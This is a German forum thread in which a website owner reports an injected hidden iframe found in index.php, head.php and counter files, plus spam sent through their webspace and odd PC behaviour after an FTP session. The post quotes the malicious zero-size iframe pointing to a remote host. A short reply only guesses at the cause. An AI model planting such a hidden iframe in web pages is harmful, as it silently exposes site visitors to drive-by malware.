Guten Tag

Ich bin neu hier im Forum und versuche mich jetzt einmal daran möglichst alles bei dem Thema richtig zu machen. Ich weiß nicht recht ob das der richtige Bereich ist, aber ich glaube schon.

Also ich habe versucht mit der Boardsuche und google etwas zu finden, aber eine Lösung für alle meine Probleme habe ich nicht wirklich gefunden.

Und nun hoffe ich, dass ihr mir helfen könnt

Also zu meinem Problemlange Vorgeschichte....)

So seit ungefähr Ende März hatte ich das Gefühl, dass da ein Virus auf meiner Seite sei. Jedoch schlug mein Virenprogramm nie an, also habe ich es einfach mal bei dem Gefühl belassen. Doch einige User sprachen mach darauf an, dass sie eine Virenmeldung bekommen würden, andere jedoch wiederum nicht. Also habe ich das alles mal an den Administrator des Webservers weitergeleitet. Er hat sich die Seite angeschaut und gesagt da sei kein Virus. Ich habe ihm geglaubt und erstmal nichts gemacht. Doch als mich dann ein Webmaster einer Affilate page ansprach habe ich mir das alles dann doch mal angesehen und fand das:

<iframe src="h**p:// google-stat.com /tomi/?t=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

In meiner index.php hatte sich das hinter das </html> am Ende angedockt. Und nicht nur da, auch in meiner head.php fand ich es. Jedoch kam es da vom Counter, dessen Dateien auch bearbeitet worden waren. Also habe ich gestern mit Hilfe von Filezilla die betroffenen Daten aus dem ftp gelöscht und ältere noch nicht betroffene vom 19.03. hochgeladen. Es waren viele Daten betroffen, nahezu jede index.php und index.html. Dann jedoch auch noch Daten in denen kein index vorkam. Zumindest glaubte ich, dass diese Dateien betroffen seien. Sie hatten alle etwas gemeinsam. Sie wurden das letzte Mal am 28.03.09 um 14:12 geändert. Und definitiv nicht von mir. Diese Dateien habe ich jedenfalls alle ersetzt. Nur ein paar Dateien hatte ich noch nicht gelöscht, das wollte ich heute machen.

1. Handelt es sich nun dabei um irgendeinen Virus oder was ist das?
Ich habe es definitiv nicht dort platziert.
2. Wie könnte das auf meine Webseite gelangt sein?
3. Habe ich das Problem nun für immer beseitigt?
Bisher hat der Virenscanner nicht wieder angeschlagen.
4. Kann man seine Webseite vor Viren schützen?

Hier mal ein Link zu meiner Webseite, aber ich kann nicht garantieren, dass kein Virus mehr drauf zu finden ist:
h**p://###############.de/
(Die Sternchen habe ich gemacht, weil ich ja nicht weiß ob noch einer drauf ist)



Nun habe ich aber wie oben beschrieben noch weitere Probleme:

Ich habe seit Januar andauernd Mail Delivery System Mails bekommen. Aber das geht immer nur eine Zeit lang ganz viele, dann keine mehr. Sie gehen an eine E-Mail Adresse, die ich vorher gar nicht kannte. Das ist eine bestimmte über meinen Webspace. Derjenige, der das Hosting leitet, hat zu mir gemeint, dass über meinen Webspace Spam verschickt wird.
Kann ich da etwas gegen machen?

Aber kommen wir zu einem weiteren, wichtigerem Problem.
Heute Morgen habe ich meinen PC ganz normal gestartet und es funktionierte alles ganz normal. Dann wollte ich die restlichen Dateien löschen, die ich gestern noch nicht gelöscht hatte, doch dabei traten Probleme auf.
Ich habe ganz normal die ftp Daten eingegeben und mich mit dem ftp über Filezilla verbunden. Direkt danach flackerte der Bildschirm seltsam. Es zuckte und unten konnte man das von oben sehen und die start leiste schob sich nach oben. Dann habe ich meinen PC verlassen um meinen Vater um Hilfe zu bitten und als wir wiederkamen sahen wir nur noch lila striche und pixel. Die flackerten und veränderten sich in einen weißen Bildschirm mit einem blauen horizontalen strich. Also haben wir den PC ausgemacht und wieder an und das Flackern fing sofort wieder an, doch zum Beispiel dieses Windows Ladebild konnte man ganz normal erkennen. Als dann der Willkommenbildschirm erschien fing wieder alles zu flackern an und man sah nur noch komische Farben, Striche etc. Bis es irgendwann bei einem komischen, durchsichtigen, weißen Bildschirm aufhörte. In dem weiß konnte man mit viel Mühe Firefox erkennen und unten die Taskleiste. Dann war noch ein dunkelgrauer Fleck zu sehen, der die ganze Mitte einnahm. Die Maus konnte man so viel bewegen wie man wollte, aber sie war nicht mehr sichtbar. Im abgesicherten Modus trat das Gleiche auf. Also kam mein Vater auf die glorreiche Idee ihn vllt mal nach Berlet zu schleppen. Als er dann dort gewesen ist funktionierte alles prima O.o Kein Problem trat mehr auf. Gar nichts. Eine wundersame Heilung...
Und nun funktioniert er auch wieder, jedoch hat er momentan keinen Internetzugang, weshalb ich auf dem PC meiner Schwester schreibe.

1. Weiß jemand weshalb das aufgetreten ist?
2. Lag es an der Hardware? (Bildschirm, Grafikkarte...)
2. Habe ich mir irgendwas vom ftp runtergeladen?
Ich habe mich ja vorher mit meiner Seite verbunden.

Die Logs kann ich momentan nicht posten, weil ich nicht weiß wie ich die von meinem PC auf den meiner Schwester bringen soll.
Gestern habe ich jedoch noch welche gemacht, weil der Verdacht nahe lag, dass mein PC der Verursacher des Viruses ist.
Das Internettool von HijackThis zum Auswerten des Logs hat mir jedoch nur bei 3 Dingen gesagt, dass sie unnötig seien. Gelöscht habe ich sie dann erstmal nicht...

Außerdem kenne ich mich kaum mit meinem PC aus
Ich habe Windows XP SP3 und mehr weiß ich nicht...

Ich hoffe jemand kann mir trotzdem helfen
Ich würde mich sehr darüber freuen.

Hiho

Ich glaube deine Website wurde ähnlich wie Paris Hiltons website gehackt. Du hast vielleicht einen Trojaner auf deinem PC oder deine Website wurde direkt gehackt. Wie du das wegmachst kann ich dir leider nicht sagen. Aber auf google oder von anderen membern bekommst du sicher eine Lösung